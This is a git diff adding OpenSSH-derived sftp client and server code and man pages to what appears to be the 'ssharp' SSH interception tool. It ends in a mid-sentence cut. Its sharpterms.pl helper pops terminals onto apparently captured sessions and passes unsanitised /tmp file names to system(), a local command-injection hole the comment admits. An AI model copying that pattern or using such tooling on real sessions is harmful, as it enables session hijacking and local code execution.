*dirp; + struct dirent *dp; + char *path; + int handle; + u_int32_t id; + + id = get_int(); + handle = get_handle(); + TRACE("readdir id %d handle %d", id, handle); + dirp = handle_to_dir(handle); + path = handle_to_name(handle); + if (dirp == NULL || path == NULL) { + send_status(id, SSH2_FX_FAILURE); + } else { + struct stat st; + char pathname[1024]; + Stat *stats; + int nstats = 10, count = 0, i; + stats = xmalloc(nstats * sizeof(Stat)); + while ((dp = readdir(dirp)) != NULL) { + if (count >= nstats) { + nstats *= 2; + stats = xrealloc(stats, nstats * sizeof(Stat)); + } +/* XXX OVERFLOW ? */ + snprintf(pathname, sizeof pathname, + "%s/%s", path, dp->d_name); + if (lstat(pathname, &st) < 0) + continue; + stat_to_attrib(&st, &(stats[count].attrib)); + stats[count].name = xstrdup(dp->d_name); + stats[count].long_name = ls_file(dp->d_name, &st); + count++; + /* send up to 100 entries in one message */ + /* XXX check packet size instead */ + if (count == 100) + break; + } + if (count > 0) { + send_names(id, count, stats); + for(i = 0; i < count; i++) { + xfree(stats[i].name); + xfree(stats[i].long_name); + } + } else { + send_status(id, SSH2_FX_EOF); + } + xfree(stats); + } +} + +void +process_remove(void) +{ + char *name; + u_int32_t id; + int status = SSH2_FX_FAILURE; + int ret; + + id = get_int(); + name = get_string(NULL); + TRACE("remove id %d name %s", id, name); + ret = unlink(name); + status = (ret == -1) ? errno_to_portable(errno) : SSH2_FX_OK; + send_status(id, status); + xfree(name); +} + +void +process_mkdir(void) +{ + Attrib *a; + u_int32_t id; + char *name; + int ret, mode, status = SSH2_FX_FAILURE; + + id = get_int(); + name = get_string(NULL); + a = get_attrib(); + mode = (a->flags & SSH2_FILEXFER_ATTR_PERMISSIONS) ? + a->perm & 0777 : 0777; + TRACE("mkdir id %d name %s mode 0%o", id, name, mode); + ret = mkdir(name, mode); + status = (ret == -1) ? errno_to_portable(errno) : SSH2_FX_OK; + send_status(id, status); + xfree(name); +} + +void +process_rmdir(void) +{ + u_int32_t id; + char *name; + int ret, status; + + id = get_int(); + name = get_string(NULL); + TRACE("rmdir id %d name %s", id, name); + ret = rmdir(name); + status = (ret == -1) ? errno_to_portable(errno) : SSH2_FX_OK; + send_status(id, status); + xfree(name); +} + +void +process_realpath(void) +{ + char resolvedname[MAXPATHLEN]; + u_int32_t id; + char *path; + + id = get_int(); + path = get_string(NULL); + if (path[0] == '\0') { + xfree(path); + path = xstrdup("."); + } + TRACE("realpath id %d path %s", id, path); + if (realpath(path, resolvedname) == NULL) { + send_status(id, errno_to_portable(errno)); + } else { + Stat s; + attrib_clear(&s.attrib); + s.name = s.long_name = resolvedname; + send_names(id, 1, &s); + } + xfree(path); +} + +void +process_rename(void) +{ + u_int32_t id; + struct stat st; + char *oldpath, *newpath; + int ret, status = SSH2_FX_FAILURE; + + id = get_int(); + oldpath = get_string(NULL); + newpath = get_string(NULL); + TRACE("rename id %d old %s new %s", id, oldpath, newpath); + /* fail if 'newpath' exists */ + if (stat(newpath, &st) == -1) { + ret = rename(oldpath, newpath); + status = (ret == -1) ? errno_to_portable(errno) : SSH2_FX_OK; + } + send_status(id, status); + xfree(oldpath); + xfree(newpath); +} + +void +process_readlink(void) +{ + u_int32_t id; + char link[MAXPATHLEN]; + char *path; + + id = get_int(); + path = get_string(NULL); + TRACE("readlink id %d path %s", id, path); + if (readlink(path, link, sizeof(link) - 1) == -1) + send_status(id, errno_to_portable(errno)); + else { + Stat s; + + link[sizeof(link) - 1] = '\0'; + attrib_clear(&s.attrib); + s.name = s.long_name = link; + send_names(id, 1, &s); + } + xfree(path); +} + +void +process_symlink(void) +{ + u_int32_t id; + struct stat st; + char *oldpath, *newpath; + int ret, status = SSH2_FX_FAILURE; + + id = get_int(); + oldpath = get_string(NULL); + newpath = get_string(NULL); + TRACE("symlink id %d old %s new %s", id, oldpath, newpath); + /* fail if 'newpath' exists */ + if (stat(newpath, &st) == -1) { + ret = symlink(oldpath, newpath); + status = (ret == -1) ? errno_to_portable(errno) : SSH2_FX_OK; + } + send_status(id, status); + xfree(oldpath); + xfree(newpath); +} + +void +process_extended(void) +{ + u_int32_t id; + char *request; + + id = get_int(); + request = get_string(NULL); + send_status(id, SSH2_FX_OP_UNSUPPORTED); /* MUST */ + xfree(request); +} + +/* stolen from ssh-agent */ + +void +process(void) +{ + u_int msg_len; + u_int type; + u_char *cp; + + if (buffer_len(&iqueue) < 5) + return; /* Incomplete message. */ + cp = (u_char *) buffer_ptr(&iqueue); + msg_len = GET_32BIT(cp); + if (msg_len > 256 * 1024) { + error("bad message "); + exit(11); + } + if (buffer_len(&iqueue) < msg_len + 4) + return; + buffer_consume(&iqueue, 4); + type = buffer_get_char(&iqueue); + switch (type) { + case SSH2_FXP_INIT: + process_init(); + break; + case SSH2_FXP_OPEN: + process_open(); + break; + case SSH2_FXP_CLOSE: + process_close(); + break; + case SSH2_FXP_READ: + process_read(); + break; + case SSH2_FXP_WRITE: + process_write(); + break; + case SSH2_FXP_LSTAT: + process_lstat(); + break; + case SSH2_FXP_FSTAT: + process_fstat(); + break; + case SSH2_FXP_SETSTAT: + process_setstat(); + break; + case SSH2_FXP_FSETSTAT: + process_fsetstat(); + break; + case SSH2_FXP_OPENDIR: + process_opendir(); + break; + case SSH2_FXP_READDIR: + process_readdir(); + break; + case SSH2_FXP_REMOVE: + process_remove(); + break; + case SSH2_FXP_MKDIR: + process_mkdir(); + break; + case SSH2_FXP_RMDIR: + process_rmdir(); + break; + case SSH2_FXP_REALPATH: + process_realpath(); + break; + case SSH2_FXP_STAT: + process_stat(); + break; + case SSH2_FXP_RENAME: + process_rename(); + break; + case SSH2_FXP_READLINK: + process_readlink(); + break; + case SSH2_FXP_SYMLINK: + process_symlink(); + break; + case SSH2_FXP_EXTENDED: + process_extended(); + break; + default: + error("Unknown message %d", type); + break; + } +} + +int +main(int ac, char **av) +{ + fd_set *rset, *wset; + int in, out, max; + ssize_t len, olen, set_size; + + /* XXX should use getopt */ + + __progname = get_progname(av[0]); + handle_init(); + +#ifdef DEBUG_SFTP_SERVER + log_init("sftp-server", SYSLOG_LEVEL_DEBUG1, SYSLOG_FACILITY_AUTH, 0); +#endif + + in = dup(STDIN_FILENO); + out = dup(STDOUT_FILENO); + +#ifdef HAVE_CYGWIN + setmode(in, O_BINARY); + setmode(out, O_BINARY); +#endif + + max = 0; + if (in > max) + max = in; + if (out > max) + max = out; + + buffer_init(&iqueue); + buffer_init(&oqueue); + + set_size = howmany(max + 1, NFDBITS) * sizeof(fd_mask); + rset = (fd_set *)xmalloc(set_size); + wset = (fd_set *)xmalloc(set_size); + + for (;;) { + memset(rset, 0, set_size); + memset(wset, 0, set_size); + + FD_SET(in, rset); + olen = buffer_len(&oqueue); + if (olen > 0) + FD_SET(out, wset); + + if (select(max+1, rset, wset, NULL, NULL) < 0) { + if (errno == EINTR) + continue; + exit(2); + } + + /* copy stdin to iqueue */ + if (FD_ISSET(in, rset)) { + char buf[4*4096]; + len = read(in, buf, sizeof buf); + if (len == 0) { + debug("read eof"); + exit(0); + } else if (len < 0) { + error("read error"); + exit(1); + } else { + buffer_append(&iqueue, buf, len); + } + } + /* send oqueue to stdout */ + if (FD_ISSET(out, wset)) { + len = write(out, buffer_ptr(&oqueue), olen); + if (len < 0) { + error("write error"); + exit(1); + } else { + buffer_consume(&oqueue, len); + } + } + /* process requests from client */ + process(); + } +} diff --git a/other/ssharp/sftp.0 b/other/ssharp/sftp.0 new file mode 100644 index 0000000..7d3bc90 --- /dev/null +++ b/other/ssharp/sftp.0 @@ -0,0 +1,132 @@ + +SFTP(1) System Reference Manual SFTP(1) + +NAME + sftp - Secure file transfer program + +SYNOPSIS + sftp [-vC] [-b batchfile] [-o ssh_option] [host] + sftp [[user@]host[:file [file]]] + sftp [[user@]host[:dir[/]]] + +DESCRIPTION + sftp is an interactive file transfer program, similar to ftp(1), which + performs all operations over an encrypted ssh(1) transport. It may also + use many features of ssh, such as public key authentication and compresM-- + sion. sftp connects and logs into the specified hostname, then enters an + interactive command mode. + + The second usage format will fetch files automaticly if a non-interactive + authentication is used, else it do so after an interactive authentication + is used. + + The last usage format allows the sftp client to start in a remote direcM-- + tory. + + The options are as follows: + + -b batchfile + Batch mode reads a series of commands from an input batchfile inM-- + stead of stdin. Since it lacks user interaction it should be used + in conjunction with non-interactive authentication. sftp will + abort if any of the following commands fail: get, put, rename, + ln, rm and lmkdir. + + -C Enables compression (via ssh's -C flag) + + -o ssh_option + Specify an option to be directly passed to ssh(1). + + -v Raise logging level. This option is also passed to ssh. + +INTERACTIVE COMMANDS + Once in interactive mode, sftp understands a set of commands similar to + those of ftp(1). Commands are case insensitive and pathnames may be enM-- + closed in quotes if they contain spaces. + + cd path + Change remote directory to path. + + lcd path + Change local directory to path. + + chgrp grp path + Change group of file path to grp. grp must be a numeric GID. + + chmod mode path + Change permissions of file path to mode. + + chown own path + Change owner of file path to own. own must be a numeric UID. + + exit Quit sftp. + + get [flags] remote-path [local-path] + Retrieve the remote-path and store it on the local machine. If + the local path name is not specified, it is given the same name + it has on the remote machine. If the -P flag is specified, then + the file's full permission and access time are copied too. + + help Display help text. + + lls [ls-options [path]] + Display local directory listing of either path or current direcM-- + tory if path is not specified. + + lmkdir path + Create local directory specified by path. + + ln oldpath newpath + Create a symbolic link from oldpath to newpath. + + lpwd Print local working directory. + + ls [path] + Display remote directory listing of either path or current direcM-- + tory if path is not specified. + + lumask umask + Set local umask to umask. + + mkdir path + Create remote directory specified by path. + + put [flags] local-path [local-path] + Upload local-path and store it on the remote machine. If the reM-- + mote path name is not specified, it is given the same name it has + on the local machine. If the -P flag is specified, then the + file's full permission and access time are copied too. + + pwd Display remote working directory. + + quit Quit sftp. + + rename oldpath newpath + Rename remote file from oldpath to newpath. + + rmdir path + Remove remote directory specified by path. + + rm path + Delete remote file specified by path. + + symlink oldpath newpath + Create a symbolic link from oldpath to newpath. + + ! command + Execute command in local shell. + + ! Escape to local shell. + + ? Synonym for help. + +AUTHORS + Damien Miller + +SEE ALSO + scp(1), ssh(1), ssh-add(1), ssh-keygen(1), sftp-server(8), sshd(8) + + T. Ylonen, and S. Lehtinen, SSH File Transfer Protocol, draft-ietf-secsh- + filexfer-00.txt, January 2001, work in progress material. + +BSD Experimental February 4, 2001 2 diff --git a/other/ssharp/sftp.1 b/other/ssharp/sftp.1 new file mode 100644 index 0000000..b482996 --- /dev/null +++ b/other/ssharp/sftp.1 @@ -0,0 +1,222 @@ +.\" $OpenBSD: sftp.1,v 1.17 2001/04/22 13:32:27 markus Exp $ +.\" +.\" Copyright (c) 2001 Damien Miller. All rights reserved. +.\" +.\" Redistribution and use in source and binary forms, with or without +.\" modification, are permitted provided that the following conditions +.\" are met: +.\" 1. Redistributions of source code must retain the above copyright +.\" notice, this list of conditions and the following disclaimer. +.\" 2. Redistributions in binary form must reproduce the above copyright +.\" notice, this list of conditions and the following disclaimer in the +.\" documentation and/or other materials provided with the distribution. +.\" +.\" THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +.\" IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES +.\" OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. +.\" IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, +.\" INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT +.\" NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +.\" DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +.\" THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +.\" (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF +.\" THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +.\" +.Dd February 4, 2001 +.Dt SFTP 1 +.Os +.Sh NAME +.Nm sftp +.Nd Secure file transfer program +.Sh SYNOPSIS +.Nm sftp +.Op Fl vC +.Op Fl b Ar batchfile +.Op Fl o Ar ssh_option +.Op Ar host +.Nm sftp +.Op [\fIuser\fR@]\fIhost\fR[:\fIfile\fR [\fIfile\fR]] +.Nm sftp +.Op [\fIuser\fR@]\fIhost\fR[:\fIdir\fR[\fI/\fR]] +.Sh DESCRIPTION +.Nm +is an interactive file transfer program, similar to +.Xr ftp 1 , +which performs all operations over an encrypted +.Xr ssh 1 +transport. +It may also use many features of ssh, such as public key authentication and +compression. +.Nm +connects and logs into the specified +.Ar hostname , +then enters an interactive command mode. +.Pp +The second usage format will fetch files automaticly if a non-interactive +authentication is used, else it do so after an interactive authentication +is used. +.Pp +The last usage format allows the sftp client to start in a remote directory. +.Pp +The options are as follows: +.Bl -tag -width Ds +.It Fl b Ar batchfile +Batch mode reads a series of commands from an input +.Ar batchfile +instead of +.Em stdin . +Since it lacks user interaction it should be used in conjunction with +non-interactive authentication. +.Nm +will abort if any of the following +commands fail: +.Ic get , put , rename , ln , rm , mkdir , chdir , lchdir +and +.Ic lmkdir . +.It Fl C +Enables compression (via ssh's +.Fl C +flag) +.It Fl o Ar ssh_option +Specify an option to be directly passed to +.Xr ssh 1 . +.It Fl v +Raise logging level. This option is also passed to ssh. +.El +.Sh INTERACTIVE COMMANDS +Once in interactive mode, +.Nm +understands a set of commands similar to those of +.Xr ftp 1 . +Commands are case insensitive and pathnames may be enclosed in quotes if they +contain spaces. +.Bl -tag -width Ds +.It Ic cd Ar path +Change remote directory to +.Ar path . +.It Ic lcd Ar path +Change local directory to +.Ar path . +.It Ic chgrp Ar grp Ar path +Change group of file +.Ar path +to +.Ar grp . +.Ar grp +must be a numeric GID. +.It Ic chmod Ar mode Ar path +Change permissions of file +.Ar path +to +.Ar mode . +.It Ic chown Ar own Ar path +Change owner of file +.Ar path +to +.Ar own . +.Ar own +must be a numeric UID. +.It Ic exit +Quit sftp. +.It Xo Ic get +.Op Ar flags +.Ar remote-path +.Op Ar local-path +.Xc +Retrieve the +.Ar remote-path +and store it on the local machine. +If the local +path name is not specified, it is given the same name it has on the +remote machine. If the +.Fl P +flag is specified, then the file's full permission and access time are +copied too. +.It Ic help +Display help text. +.It Ic lls Op Ar ls-options Op Ar path +Display local directory listing of either +.Ar path +or current directory if +.Ar path +is not specified. +.It Ic lmkdir Ar path +Create local directory specified by +.Ar path . +.It Ic ln Ar oldpath Ar newpath +Create a symbolic link from +.Ar oldpath +to +.Ar newpath . +.It Ic lpwd +Print local working directory. +.It Ic ls Op Ar path +Display remote directory listing of either +.Ar path +or current directory if +.Ar path +is not specified. +.It Ic lumask Ar umask +Set local umask to +.Ar umask . +.It Ic mkdir Ar path +Create remote directory specified by +.Ar path . +.It Xo Ic put +.Op Ar flags +.Ar local-path +.Op Ar local-path +.Xc +Upload +.Ar local-path +and store it on the remote machine. If the remote path name is not +specified, it is given the same name it has on the local machine. If the +.Fl P +flag is specified, then the file's full permission and access time are +copied too. +.It Ic pwd +Display remote working directory. +.It Ic quit +Quit sftp. +.It Ic rename Ar oldpath Ar newpath +Rename remote file from +.Ar oldpath +to +.Ar newpath . +.It Ic rmdir Ar path +Remove remote directory specified by +.Ar path . +.It Ic rm Ar path +Delete remote file specified by +.Ar path . +.It Ic symlink Ar oldpath Ar newpath +Create a symbolic link from +.Ar oldpath +to +.Ar newpath . +.It Ic ! Ar command +Execute +.Ar command +in local shell. +.It Ic ! +Escape to local shell. +.It Ic ? +Synonym for help. +.El +.Sh AUTHORS +Damien Miller +.Sh SEE ALSO +.Xr scp 1 , +.Xr ssh 1 , +.Xr ssh-add 1 , +.Xr ssh-keygen 1 , +.Xr sftp-server 8 , +.Xr sshd 8 +.Rs +.%A T. Ylonen +.%A S. Lehtinen +.%T "SSH File Transfer Protocol" +.%N draft-ietf-secsh-filexfer-00.txt +.%D January 2001 +.%O work in progress material +.Re diff --git a/other/ssharp/sftp.c b/other/ssharp/sftp.c new file mode 100644 index 0000000..8c887fb --- /dev/null +++ b/other/ssharp/sftp.c @@ -0,0 +1,283 @@ +/* + * Copyright (c) 2001 Damien Miller. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" + +RCSID("$OpenBSD: sftp.c,v 1.15 2001/04/16 02:31:44 mouring Exp $"); + +/* XXX: commandline mode */ +/* XXX: short-form remote directory listings (like 'ls -C') */ + +#include "buffer.h" +#include "xmalloc.h" +#include "log.h" +#include "pathnames.h" + +#include "sftp.h" +#include "sftp-common.h" +#include "sftp-client.h" +#include "sftp-int.h" + +#ifdef HAVE___PROGNAME +extern char *__progname; +#else +char *__progname; +#endif + +#include "scp-common.h" + +int use_ssh1 = 0; +char *ssh_program = _PATH_SSH_PROGRAM; +char *sftp_server = NULL; +FILE* infile; + +void +connect_to_server(char **args, int *in, int *out, pid_t *sshpid) +{ + int c_in, c_out; +#ifdef USE_PIPES + int pin[2], pout[2]; + if ((pipe(pin) == -1) || (pipe(pout) == -1)) + fatal("pipe: %s", strerror(errno)); + *in = pin[0]; + *out = pout[1]; + c_in = pout[0]; + c_out = pin[1]; +#else /* USE_PIPES */ + int inout[2]; + if (socketpair(AF_UNIX, SOCK_STREAM, 0, inout) == -1) + fatal("socketpair: %s", strerror(errno)); + *in = *out = inout[0]; + c_in = c_out = inout[1]; +#endif /* USE_PIPES */ + + if ((*sshpid = fork()) == -1) + fatal("fork: %s", strerror(errno)); + else if (*sshpid == 0) { + if ((dup2(c_in, STDIN_FILENO) == -1) || + (dup2(c_out, STDOUT_FILENO) == -1)) { + fprintf(stderr, "dup2: %s\n", strerror(errno)); + exit(1); + } + close(*in); + close(*out); + close(c_in); + close(c_out); + execv(ssh_program, args); + fprintf(stderr, "exec: %s: %s\n", ssh_program, strerror(errno)); + exit(1); + } + + close(c_in); + close(c_out); +} + +char ** +make_ssh_args(char *add_arg) +{ + static char **args = NULL; + static int nargs = 0; + char debug_buf[4096]; + int i; + + /* Init args array */ + if (args == NULL) { + nargs = 2; + i = 0; + args = xmalloc(sizeof(*args) * nargs); + args[i++] = "ssh"; + args[i++] = NULL; + } + + /* If asked to add args, then do so and return */ + if (add_arg) { + i = nargs++ - 1; + args = xrealloc(args, sizeof(*args) * nargs); + args[i++] = add_arg; + args[i++] = NULL; + return(NULL); + } + + /* no subsystem if the server-spec contains a '/' */ + if (sftp_server == NULL || strchr(sftp_server, '/') == NULL) + make_ssh_args("-s"); + make_ssh_args("-oForwardX11=no"); + make_ssh_args("-oForwardAgent=no"); + make_ssh_args(use_ssh1 ? "-oProtocol=1" : "-oProtocol=2"); + + /* Otherwise finish up and return the arg array */ + if (sftp_server != NULL) + make_ssh_args(sftp_server); + else + make_ssh_args("sftp"); + + /* XXX: overflow - doesn't grow debug_buf */ + debug_buf[0] = '\0'; + for(i = 0; args[i]; i++) { + if (i) + strlcat(debug_buf, " ", sizeof(debug_buf)); + + strlcat(debug_buf, args[i], sizeof(debug_buf)); + } + debug("SSH args \"%s\"", debug_buf); + + return(args); +} + +void +usage(void) +{ + fprintf(stderr, "usage: sftp [-1vC] [-b batchfile] [-osshopt=value] [user@]host[:file [file]]\n"); + exit(1); +} + +int +main(int argc, char **argv) +{ + int in, out, ch, debug_level, compress_flag; + pid_t sshpid; + char *file1 = NULL; + char *host, *userhost, *cp, *file2; + LogLevel ll; + extern int optind; + extern char *optarg; + + __progname = get_progname(argv[0]); + infile = stdin; /* Read from STDIN unless changed by -b */ + debug_level = compress_flag = 0; + + while ((ch = getopt(argc, argv, "1hvCo:s:S:b:")) != -1) { + switch (ch) { + case 'C': + compress_flag = 1; + break; + case 'v': + debug_level = MIN(3, debug_level + 1); + break; + case 'o': + make_ssh_args("-o"); + make_ssh_args(optarg); + break; + case '1': + use_ssh1 = 1; + if (sftp_server == NULL) + sftp_server = _PATH_SFTP_SERVER; + break; + case 's': + sftp_server = optarg; + break; + case 'S': + ssh_program = optarg; + break; + case 'b': + if (infile == stdin) { + infile = fopen(optarg, "r"); + if (infile == NULL) + fatal("%s (%s).", strerror(errno), optarg); + } else + fatal("Filename already specified."); + break; + case 'h': + default: + usage(); + } + } + + if (optind == argc || argc > (optind + 2)) + usage(); + + userhost = xstrdup(argv[optind]); + file2 = argv[optind+1]; + + if ((cp = colon(userhost)) != NULL) { + *cp++ = '\0'; + file1 = cp; + } + + if ((host = strchr(userhost, '@')) == NULL) + host = userhost; + else { + *host++ = '\0'; + if (!userhost[0]) { + fprintf(stderr, "Missing username\n"); + usage(); + } + make_ssh_args("-l"); + make_ssh_args(userhost); + } + + host = cleanhostname(host); + if (!*host) { + fprintf(stderr, "Missing hostname\n"); + usage(); + } + + /* Set up logging and debug '-d' arguments to ssh */ + ll = SYSLOG_LEVEL_INFO; + switch (debug_level) { + case 1: + ll = SYSLOG_LEVEL_DEBUG1; + make_ssh_args("-v"); + break; + case 2: + ll = SYSLOG_LEVEL_DEBUG2; + make_ssh_args("-v"); + make_ssh_args("-v"); + break; + case 3: + ll = SYSLOG_LEVEL_DEBUG3; + make_ssh_args("-v"); + make_ssh_args("-v"); + make_ssh_args("-v"); + break; + } + + if (compress_flag) + make_ssh_args("-C"); + + log_init(argv[0], ll, SYSLOG_FACILITY_USER, 1); + + make_ssh_args(host); + + fprintf(stderr, "Connecting to %s...\n", host); + + connect_to_server(make_ssh_args(NULL), &in, &out, &sshpid); + + interactive_loop(in, out, file1, file2); + +#if !defined(USE_PIPES) + shutdown(in, SHUT_RDWR); + shutdown(out, SHUT_RDWR); +#endif + + close(in); + close(out); + if (infile != stdin) + fclose(infile); + + if (waitpid(sshpid, NULL, 0) == -1) + fatal("Couldn't wait for ssh process: %s", strerror(errno)); + + exit(0); +} diff --git a/other/ssharp/sftp.h b/other/ssharp/sftp.h new file mode 100644 index 0000000..2ad9586 --- /dev/null +++ b/other/ssharp/sftp.h @@ -0,0 +1,91 @@ +/* $OpenBSD: sftp.h,v 1.3 2001/03/07 10:11:23 djm Exp $ */ + +/* + * Copyright (c) 2001 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/* + * draft-ietf-secsh-filexfer-01.txt + */ + +/* version */ +#define SSH2_FILEXFER_VERSION 3 + +/* client to server */ +#define SSH2_FXP_INIT 1 +#define SSH2_FXP_OPEN 3 +#define SSH2_FXP_CLOSE 4 +#define SSH2_FXP_READ 5 +#define SSH2_FXP_WRITE 6 +#define SSH2_FXP_LSTAT 7 +#define SSH2_FXP_FSTAT 8 +#define SSH2_FXP_SETSTAT 9 +#define SSH2_FXP_FSETSTAT 10 +#define SSH2_FXP_OPENDIR 11 +#define SSH2_FXP_READDIR 12 +#define SSH2_FXP_REMOVE 13 +#define SSH2_FXP_MKDIR 14 +#define SSH2_FXP_RMDIR 15 +#define SSH2_FXP_REALPATH 16 +#define SSH2_FXP_STAT 17 +#define SSH2_FXP_RENAME 18 +#define SSH2_FXP_READLINK 19 +#define SSH2_FXP_SYMLINK 20 + +/* server to client */ +#define SSH2_FXP_VERSION 2 +#define SSH2_FXP_STATUS 101 +#define SSH2_FXP_HANDLE 102 +#define SSH2_FXP_DATA 103 +#define SSH2_FXP_NAME 104 +#define SSH2_FXP_ATTRS 105 + +#define SSH2_FXP_EXTENDED 200 +#define SSH2_FXP_EXTENDED_REPLY 201 + +/* attributes */ +#define SSH2_FILEXFER_ATTR_SIZE 0x00000001 +#define SSH2_FILEXFER_ATTR_UIDGID 0x00000002 +#define SSH2_FILEXFER_ATTR_PERMISSIONS 0x00000004 +#define SSH2_FILEXFER_ATTR_ACMODTIME 0x00000008 +#define SSH2_FILEXFER_ATTR_EXTENDED 0x80000000 + +/* portable open modes */ +#define SSH2_FXF_READ 0x00000001 +#define SSH2_FXF_WRITE 0x00000002 +#define SSH2_FXF_APPEND 0x00000004 +#define SSH2_FXF_CREAT 0x00000008 +#define SSH2_FXF_TRUNC 0x00000010 +#define SSH2_FXF_EXCL 0x00000020 + +/* status messages */ +#define SSH2_FX_OK 0 +#define SSH2_FX_EOF 1 +#define SSH2_FX_NO_SUCH_FILE 2 +#define SSH2_FX_PERMISSION_DENIED 3 +#define SSH2_FX_FAILURE 4 +#define SSH2_FX_BAD_MESSAGE 5 +#define SSH2_FX_NO_CONNECTION 6 +#define SSH2_FX_CONNECTION_LOST 7 +#define SSH2_FX_OP_UNSUPPORTED 8 +#define SSH2_FX_MAX 8 diff --git a/other/ssharp/sharpterms.pl b/other/ssharp/sharpterms.pl new file mode 100644 index 0000000..8dccac5 --- /dev/null +++ b/other/ssharp/sharpterms.pl @@ -0,0 +1,22 @@ +#!/usr/bin/perl + +# xterm popup daemon for ssharp (C) 2002 Stealth + +my %xterms = (); + +for (;;) { + opendir D, "/tmp" or die "$!"; + my @allfiles = readdir D; + closedir D; + @allfiles = grep /ssharp-/, @allfiles; + + foreach (@allfiles) { + next if defined $xterms{$_}; + $xterms{$_} = 1; + # TAKE CARE: this is a security vulnerability (locally) + system("xterm -T $_ -e /usr/local/bin/mss-client /tmp/$_ &"); + sleep(1); + } +} + + diff --git a/other/ssharp/ssh-add.0 b/other/ssharp/ssh-add.0 new file mode 100644 index 0000000..6490c8e --- /dev/null +++ b/other/ssharp/ssh-add.0 @@ -0,0 +1,73 @@ + +SSH-ADD(1) System Reference Manual SSH-ADD(1) + +NAME + ssh-add - adds RSA or DSA identities for the authentication agent + +SYNOPSIS + ssh-add [-lLdD] [file ...] + +DESCRIPTION + ssh-add adds RSA or DSA identities to the authentication agent, ssh- + agent(1). When run without arguments, it adds the file + $HOME/.ssh/identity. Alternative file names can be given on the command + line. If any file requires a passphrase, ssh-add asks for the passphrase + from the user. The Passphrase it is read from the user's tty. ssh-add + retries the last passphrase if multiple identity files are given. + + The authentication agent must be running and must be an ancestor of the + current process for ssh-add to work. + + The options are as follows: + + -l Lists fingerprints of all identities currently represented by the + agent. + + -L Lists public key parameters of all identities currently repreM-- + sented by the agent. + + -d Instead of adding the identity, removes the identity from the + agent. + + -D Deletes all identities from the agent. + +FILES + $HOME/.ssh/identity + Contains the protocol version 1 RSA authentication identity of + the user. This file should not be readable by anyone but the usM-- + er. Note that ssh-add ignores this file if it is accessible by + others. It is possible to specify a passphrase when generating + the key; that passphrase will be used to encrypt the private part + of this file. This is the default file added by ssh-add when no + other files have been specified. + + $HOME/.ssh/id_dsa + Contains the protocol version 2 DSA authentication identity of + the user. + + $HOME/.ssh/id_rsa + Contains the protocol version 2 RSA authentication identity of + the user. + +ENVIRONMENT + DISPLAY and SSH_ASKPASS + If ssh-add needs a passphrase, it will read the passphrase from + the current terminal if it was run from a terminal. If ssh-add + does not have a terminal associated with it but DISPLAY and + SSH_ASKPASS are set, it will execute the program specified by + SSH_ASKPASS and open an X11 window to read the passphrase. This + is particularly useful when calling ssh-add from a .Xsession or + related script. (Note that on some machines it may be necessary + to redirect the input from /dev/null to make this work.) + +AUTHORS + OpenSSH is a derivative of the original and free ssh 1.2.12 release by + Tatu Ylonen. Aaron Campbell, Bob Beck, Markus Friedl, Niels Provos, Theo + de Raadt and Dug Song removed many bugs, re-added newer features and creM-- + ated OpenSSH. Markus Friedl contributed 